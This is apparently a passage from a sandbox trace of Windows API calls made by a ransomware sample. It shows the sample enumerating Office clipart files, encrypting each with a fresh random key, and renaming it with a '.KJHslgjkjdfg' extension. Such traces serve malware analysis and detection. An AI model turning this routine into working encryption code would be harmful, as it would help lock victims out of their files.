MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.kjhslgjkjdfg")) returned 1 [0188.611] CloseHandle (hObject=0x130) returned 1 [0188.612] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0188.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.612] GetProcessHeap () returned 0x990000 [0188.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.612] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.612] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0188.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.614] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.614] GetProcessHeap () returned 0x990000 [0188.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.614] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.614] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.614] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.614] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.614] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.615] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.615] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.615] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.615] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1815, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1815, lpOverlapped=0x0) returned 1 [0188.616] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1820, dwBufLen=0x1820 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1820) returned 1 [0188.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.616] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1820, lpOverlapped=0x0) returned 1 [0188.616] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.616] SetEndOfFile (hFile=0x130) returned 1 [0188.618] GetProcessHeap () returned 0x990000 [0188.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.618] GetProcessHeap () returned 0x990000 [0188.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.kjhslgjkjdfg")) returned 1 [0188.619] CloseHandle (hObject=0x130) returned 1 [0188.619] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0188.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.620] GetProcessHeap () returned 0x990000 [0188.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.620] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0188.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.623] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.623] GetProcessHeap () returned 0x990000 [0188.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.623] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.623] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.623] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.623] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.623] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.623] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.623] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.623] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x566, lpOverlapped=0x0) returned 1 [0188.623] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x570, dwBufLen=0x570 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x570) returned 1 [0188.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.624] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x570, lpOverlapped=0x0) returned 1 [0188.624] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.624] SetEndOfFile (hFile=0x130) returned 1 [0188.626] GetProcessHeap () returned 0x990000 [0188.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.626] GetProcessHeap () returned 0x990000 [0188.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.kjhslgjkjdfg")) returned 1 [0188.627] CloseHandle (hObject=0x130) returned 1 [0188.627] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0188.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.628] GetProcessHeap () returned 0x990000 [0188.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.628] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.628] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0188.630] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.630] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.630] GetProcessHeap () returned 0x990000 [0188.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.630] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.630] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.630] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.630] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.630] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.630] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.630] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.630] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.630] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.630] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32f2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x32f2, lpOverlapped=0x0) returned 1 [0188.631] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3300, dwBufLen=0x3300 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3300) returned 1 [0188.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.631] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3300, lpOverlapped=0x0) returned 1 [0188.632] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.632] SetEndOfFile (hFile=0x130) returned 1 [0188.634] GetProcessHeap () returned 0x990000 [0188.634] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.634] GetProcessHeap () returned 0x990000 [0188.634] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.kjhslgjkjdfg")) returned 1 [0188.635] CloseHandle (hObject=0x130) returned 1 [0188.635] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0188.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.635] GetProcessHeap () returned 0x990000 [0188.635] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.636] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.636] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.638] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.638] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.638] GetProcessHeap () returned 0x990000 [0188.638] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.638] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.638] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.638] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.638] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.638] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.638] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.639] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.639] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.639] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.639] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa8c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa8c, lpOverlapped=0x0) returned 1 [0188.639] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa90, dwBufLen=0xa90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa90) returned 1 [0188.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.639] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa90, lpOverlapped=0x0) returned 1 [0188.639] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.639] SetEndOfFile (hFile=0x130) returned 1 [0188.642] GetProcessHeap () returned 0x990000 [0188.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.642] GetProcessHeap () returned 0x990000 [0188.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.kjhslgjkjdfg")) returned 1 [0188.642] CloseHandle (hObject=0x130) returned 1 [0188.642] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0188.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.643] GetProcessHeap () returned 0x990000 [0188.643] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.643] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 